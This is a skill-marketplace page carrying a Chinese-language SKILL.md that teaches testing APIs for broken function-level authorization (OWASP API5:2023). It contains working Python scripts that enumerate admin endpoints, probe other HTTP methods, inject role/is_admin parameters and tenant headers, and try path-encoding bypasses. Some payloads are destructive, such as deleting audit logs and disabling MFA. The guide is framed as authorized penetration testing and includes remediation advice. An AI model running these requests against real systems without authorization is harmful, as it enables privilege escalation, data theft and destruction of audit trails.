L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Productivité · SKILL.md

exploiting-broken-function-level-authorization

exploiting-broken-function-level-authorization

测试 API 的函数级授权破坏(BFLA)漏洞,即普通用户可以通过直接调用来执行管理功能或访问特权 API 端点。测试人员识别管理员和特权端点,然后通过操纵 HTTP 方法、URL 路径和请求参数尝试使用普通用户凭据访问这些端点。对应 OWASP API5:2023 函数级授权破坏。适用于 BFLA 测试、管理员端点绕过、函数级访问控制测试或 API 权限提升等请求场景。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: exploiting-broken-function-level-authorization description: > 测试 API 的函数级授权破坏(BFLA)漏洞,即普通用户可以通过直接调用来执行管理功能或访问特权 API 端点。测试人员识别管理员和特权端点,然后通过操纵 HTTP 方法、URL 路径和请求参数尝试使用普通用户凭据访问这些端点。对应 OWASP API5:2023 函数级授权破坏。适用于 BFLA 测试、管理员端点绕过、函数级访问控制测试或 API 权限提升等请求场景。 domain: cybersecurity subdomain: api-security tags: [api-security, owasp, authorization, bfla, privilege-escalation, access-control] version: 1.0.0 author: mahipal license: Apache-2.0

利用函数级授权破坏漏洞

适用场景

  • 测试普通用户是否可以通过直接 URL 访问管理员 API 端点
  • 评估 API 中的垂直权限提升,即用户可以调用超出其角色权限的功能
  • 评估 API 网关和中间件是否一致地执行函数级访问控制
  • 测试所有 API 端点和 HTTP 方法上基于角色的访问控制(RBAC)实施情况
  • 验证 API 文档不会暴露缺乏授权的管理员端点路径

不适用于:未获得书面授权的情况。BFLA 测试涉及尝试使用未授权凭据执行管理功能。

前置条件

  • 书面授权,注明目标 API 和范围内的管理功能
  • 多个权限级别的测试账户:普通用户、版主、管理员、超级管理员
  • API 文档(OpenAPI/Swagger 规范),可能列出管理员端点
  • Burp Suite Professional,用于请求拦截和操纵
  • Python 3.10+,安装 requests 库
  • 了解常见的管理员端点命名规范

工作流程

步骤 1:管理员端点发现

import requests
import itertools

BASE_URL = "https://target-api.example.com"
regular_user_headers = {"Authorization": "Bearer <regular_user_token>"}
admin_headers = {"Authorization": "Bearer <admin_token>"}

# 常见管理员端点模式
ADMIN_PATH_PATTERNS = [
    "/api/v1/admin",
    "/api/v1/admin/users",
    "/api/v1/admin/settings",
    "/api/v1/admin/config",
    "/api/v1/admin/logs",
    "/api/v1/admin/dashboard",
    "/api/v1/admin/reports",
    "/api/v1/admin/billing",
    "/api/v1/manage",
    "/api/v1/management",
    "/api/v1/internal",
    "/api/v1/internal/users",
    "/api/v1/system",
    "/api/v1/system/health",
    "/api/v1/console",
    "/api/v1/users/admin",
    "/api/v1/roles",
    "/api/v1/permissions",
    "/api/v1/audit",
    "/api/v1/audit/logs",
    "/api/internal/",
    "/admin/api/",
    "/management/api/",
    "/backoffice/api/",
]

# 管理功能模式(POST/PUT/DELETE 操作)
ADMIN_FUNCTIONS = [
    ("POST", "/api/v1/users", {"role": "admin"}),             # 以管理员角色创建用户
    ("PUT", "/api/v1/users/1/role", {"role": "admin"}),        # 更改用户角色
    ("DELETE", "/api/v1/users/1002", None),                     # 删除其他用户
    ("POST", "/api/v1/settings", {"maintenance": True}),       # 修改系统设置
    ("GET", "/api/v1/users?role=admin", None),                  # 列出管理员用户
    ("POST", "/api/v1/export/users", None),                     # 导出用户数据
    ("POST", "/api/v1/users/1002/disable", None),               # 禁用用户账户
    ("POST", "/api/v1/users/1002/reset-password", None),        # 强制密码重置
    ("PUT", "/api/v1/config/security", {"mfa_required": False}),# 禁用安全设置
    ("DELETE", "/api/v1/audit/logs", None),                     # 删除审计日志
]

# 第一阶段:发现可访问的管理员端点
print("第一阶段:管理员端点发现")
for path in ADMIN_PATH_PATTERNS:
    for method in ["GET", "POST", "PUT", "DELETE", "PATCH"]:
        try:
            resp = requests.request(method, f"{BASE_URL}{path}",
                                  headers=regular_user_headers, timeout=5)
            if resp.status_code not in (401, 403, 404, 405):
                print(f"  [可访问] {method} {path} -> {resp.status_code}")
        except requests.exceptions.RequestException:
            pass

步骤 2:基于角色的功能测试

# 定义角色及其预期访问级别
ROLES = {
    "unauthenticated": {},
    "regular_user": {"Authorization": "Bearer <regular_token>"},
    "moderator": {"Authorization": "Bearer <moderator_token>"},
    "admin": {"Authorization": "Bearer <admin_token>"},
}

# 端点及预期最低角色要求
ROLE_MATRIX = [
    # (方法, 端点, 请求体, 最低角色)
    ("GET", "/api/v1/users/me", None, "regular_user"),
    ("GET", "/api/v1/users", None, "admin"),
    ("POST", "/api/v1/users", {"email":"x@y.com","name":"X","role":"user"}, "admin"),
    ("DELETE", "/api/v1/users/1002", None, "admin"),
    ("GET", "/api/v1/admin/settings", None, "admin"),
    ("PUT", "/api/v1/admin/settings", {"feature_flag": True}, "admin"),
    ("GET", "/api/v1/reports/financial", None, "admin"),
    ("POST", "/api/v1/users/1002/ban", None, "moderator"),
    ("GET", "/api/v1/audit/logs", None, "admin"),
    ("POST", "/api/v1/export/database", None, "admin"),
    ("PUT", "/api/v1/users/1002/role", {"role": "admin"}, "admin"),
]

ROLE_HIERARCHY = ["unauthenticated", "regular_user", "moderator", "admin"]

results = []
for method, endpoint, body, min_role in ROLE_MATRIX:
    min_index = ROLE_HIERARCHY.index(min_role)
    for role_name, role_headers in ROLES.items():
        role_index = ROLE_HIERARCHY.index(role_name)
        if role_index < min_index:  # 此角色不应有访问权限
            resp = requests.request(method, f"{BASE_URL}{endpoint}",
                                  headers=role_headers, json=body, timeout=5)
            if resp.status_code not in (401, 403):
                results.append({
                    "endpoint": f"{method} {endpoint}",
                    "role_used": role_name,
                    "expected_min_role": min_role,
                    "status_code": resp.status_code,
                    "vulnerable": True
                })
                print(f"  [BFLA] {role_name} 访问了 {method} {endpoint}(需要 {min_role})-> {resp.status_code}")

print(f"\nBFLA 发现总计:{len(results)}")

步骤 3:HTTP 方法操纵

# 测试授权是否依赖于特定 HTTP 方法
def test_method_based_bfla(endpoint, authorized_method="GET"):
    """测试授权是否仅适用于特定 HTTP 方法。"""
    methods = ["GET", "POST", "PUT", "PATCH", "DELETE", "HEAD", "OPTIONS", "TRACE"]

    print(f"\n测试 {endpoint} 上基于方法的 BFLA:")
    for method in methods:
        try:
            resp = requests.request(method, f"{BASE_URL}{endpoint}",
                                  headers=regular_user_headers,
                                  json={"test": True} if method in ("POST","PUT","PATCH") else None,
                                  timeout=5)
            status = "可访问" if resp.status_code not in (401, 403, 405) else "已阻止"
            if status == "可访问":
                print(f"  [{status}] {method} {endpoint} -> {resp.status_code}")
        except requests.exceptions.RequestException:
            pass

# 测试管理员端点
test_method_based_bfla("/api/v1/admin/users")
test_method_based_bfla("/api/v1/admin/settings")
test_method_based_bfla("/api/v1/users/1002")

步骤 4:基于参数的权限提升

# 测试向普通请求添加管理员参数是否能启用管理功能
privilege_escalation_tests = [
    # 测试 1:通过自我更新添加角色参数
    {
        "name": "通过个人资料更新进行自我角色提升",
        "method": "PUT",
        "endpoint": "/api/v1/users/me",
        "body": {"name": "Test User", "role": "admin"},
    },
    # 测试 2:添加 admin 标志
    {
        "name": "管理员标志注入",
        "method": "PUT",
        "endpoint": "/api/v1/users/me",
        "body": {"name": "Test User", "is_admin": True, "isAdmin": True, "admin": True},
    },
    # 测试 3:在请求体中修改用户 ID 以针对其他用户
    {
        "name": "请求体中的用户 ID 替换",
        "method": "PUT",
        "endpoint": "/api/v1/users/me",
        "body": {"id": 1, "user_id": 1, "role": "admin"},
    },
    # 测试 4:通过带管理员参数的普通端点访问管理功能
    {
        "name": "隐藏的管理员参数",
        "method": "GET",
        "endpoint": "/api/v1/users?admin=true&debug=true&internal=true",
        "body": None,
    },
    # 测试 5:覆盖租户/组织
    {
        "name": "租户覆盖",
        "method": "GET",
        "endpoint": "/api/v1/users",
        "body": None,
        "extra_headers": {"X-Tenant-Id": "admin-org", "X-Organization": "1"},
    },
]

for test in privilege_escalation_tests:
    extra = test.get("extra_headers", {})
    resp = requests.request(
        test["method"],
        f"{BASE_URL}{test['endpoint']}",
        headers={**regular_user_headers, **extra},
        json=test["body"],
        timeout=5
    )
    if resp.status_code in (200, 201, 204):
        print(f"[BFLA] {test['name']}:{resp.status_code}")
        # 检查角色是否实际发生了变化
        if "role" in test.get("body", {}):
            me_resp = requests.get(f"{BASE_URL}/api/v1/users/me",
                                  headers=regular_user_headers)
            if me_resp.status_code == 200:
                current_role = me_resp.json().get("role", "unknown")
                print(f"  利用后的当前角色:{current_role}")

步骤 5:API 版本和路径遍历获取管理员访问权限

# 测试较旧或替代的 API 版本是否缺少授权
api_versions = ["v1", "v2", "v3", "v0", "beta", "alpha", "internal", "legacy", "staging"]
admin_paths = ["/admin/users", "/admin/settings", "/users", "/config"]

print("测试 API 版本绕过:")
for version in api_versions:
    for path in admin_paths:
        full_path = f"/api/{version}{path}"
        resp = requests.get(f"{BASE_URL}{full_path}",
                          headers=regular_user_headers, timeout=5)
        if resp.status_code not in (401, 403, 404):
            print(f"  [绕过] {full_path} -> {resp.status_code}")

# 测试基于路径的绕过技术
bypass_paths = [
    "/api/v1/admin/users",
    "/api/v1/Admin/users",          # 大小写变体
    "/api/v1/ADMIN/users",
    "/api/v1/%61dmin/users",        # URL 编码
    "/api/v1/./admin/users",        # 路径遍历
    "/api/v1/admin/../admin/users", # 双重路径
    "/api/v1/;/admin/users",        # 分号插入
    "/api/v1/admin/users.json",     # 扩展名添加
    "/api/v1/admin/users/",         # 尾部斜杠
]

for path in bypass_paths:
    resp = requests.get(f"{BASE_URL}{path}",
                       headers=regular_user_headers, timeout=5)
    if resp.status_code not in (401, 403, 404):
        print(f"  [路径绕过] {path} -> {resp.status_code}")

核心概念

术语定义
BFLA(函数级授权破坏)OWASP API5:2023 - 普通用户可以在没有适当授权检查的情况下调用管理性或特权 API 功能
垂直权限提升(Vertical Privilege Escalation)访问被限制在更高权限级别的功能或数据,例如普通用户访问管理员端点
RBAC(基于角色的访问控制)授权模型,权限分配给角色,角色分配给用户
函数级授权(Function-Level Authorization)验证已认证用户是否有权限调用特定 API 功能的访问控制检查
管理员端点(Admin Endpoint)仅供管理员用户使用的 API 端点,通常用于管理用户、设置、审计日志和系统配置
强制浏览(Forced Browsing)直接访问应用程序中未链接但存在于服务器上的 URL,绕过 UI 层访问限制

工具与系统

  • Burp Suite Professional:以管理员身份拦截请求,然后用普通用户令牌重放以测试函数级授权
  • OWASP ZAP:强制浏览扫描器,用于发现隐藏的管理端点和测试访问控制
  • Autorize(Burp 扩展):通过以普通用户凭据重放管理员请求来自动检测 BFLA
  • ffuf:端点发现工具:ffuf -u https://api.example.com/api/v1/FUZZ -w admin-endpoints.txt -H "Authorization: Bearer user_token"
  • Nuclei:基于模板的扫描器,具有常见框架的 BFLA 检测模板

常见场景

场景:SaaS 多租户 API BFLA 评估

场景背景:某 SaaS 平台有用户、版主和管理员角色。API 服务于一个 React 前端,根据用户角色条件渲染管理员功能。后端 API 应独立执行相同的限制。

方法:

  1. 从前端 JavaScript 包中映射管理员端点:搜索 /admin/、/manage/ 和角色检查条件
  2. 发现 12 个管理员端点,包括用户管理、账单、功能标志和审计日志
  3. 使用普通用户令牌测试每个管理员端点:
    • GET /api/v1/admin/users 返回 200 以及所有用户数据(BFLA - 读取)
    • PUT /api/v1/admin/users/1002/role 接受角色更改(BFLA - 写入)
    • DELETE /api/v1/audit/logs 返回 200(BFLA - 破坏性操作)
  4. 测试基于方法的绕过:GET /api/v1/admin/settings 返回 403,但 PUT /api/v1/admin/settings 返回 200
  5. 发现版主角色可以访问所有管理员端点,除了 DELETE /api/v1/admin/billing
  6. 发现 /api/v2/admin/users 没有任何授权(影子 API 版本)

常见陷阱:

  • 只测试管理员端点上的 GET 请求,而忽略 POST/PUT/DELETE 方法中的 BFLA
  • 因为管理员端点未在 UI 中链接,而无法发现它们(需要端点枚举)
  • 因为某个管理员端点返回 403 就假设 RBAC 执行一致
  • 忽略 OpenAPI 规范中未列出的内部/未记录的 API 端点中的 BFLA
  • 未使用所有可用角色级别进行测试(版主可能有部分管理员访问权限)

输出格式

## 发现:普通用户可以访问管理员用户管理 API

**ID**: API-BFLA-001
**严重性**: 严重(CVSS 9.8)
**OWASP API**: API5:2023 - 函数级授权破坏
**受影响端点**:
  - GET /api/v1/admin/users(读取所有用户)
  - PUT /api/v1/admin/users/{id}/role(更改用户角色)
  - DELETE /api/v1/audit/logs(删除审计跟踪)
  - PUT /api/v1/admin/settings(修改系统配置)

**描述**:
API 未对管理端点执行函数级授权。普通用户可以直接调用
管理员 API 端点并执行管理功能,包括用户管理、角色更改、
系统配置和审计日志删除。前端根据角色隐藏管理功能,
但后端 API 未执行相同的限制。

**概念验证**:
1. 以普通用户身份认证:POST /api/v1/auth/login
2. 调用管理端点:GET /api/v1/admin/users -> 200 OK(返回全部 50,000 名用户)
3. 提升自身角色:PUT /api/v1/admin/users/me/role {"role":"admin"} -> 200 OK
4. 删除审计日志:DELETE /api/v1/audit/logs -> 204 No Content

**影响**:
任何已认证用户都可以获取平台的完全管理员控制权,
访问所有用户数据、修改角色、更改系统配置,
并删除审计日志以掩盖踪迹。

**修复建议**:
1. 实施 RBAC 中间件,在执行任何管理功能前检查用户角色
2. 在路由/控制器层面(而非仅在前端)应用授权
3. 使用基于装饰器/注解的授权(例如 @RequireRole("admin"))
4. 向 CI/CD 管道添加自动化 BFLA 测试,对每个角色测试每个端点
5. 实施管理员用户无法删除的不可变审计日志
Skills enregistrées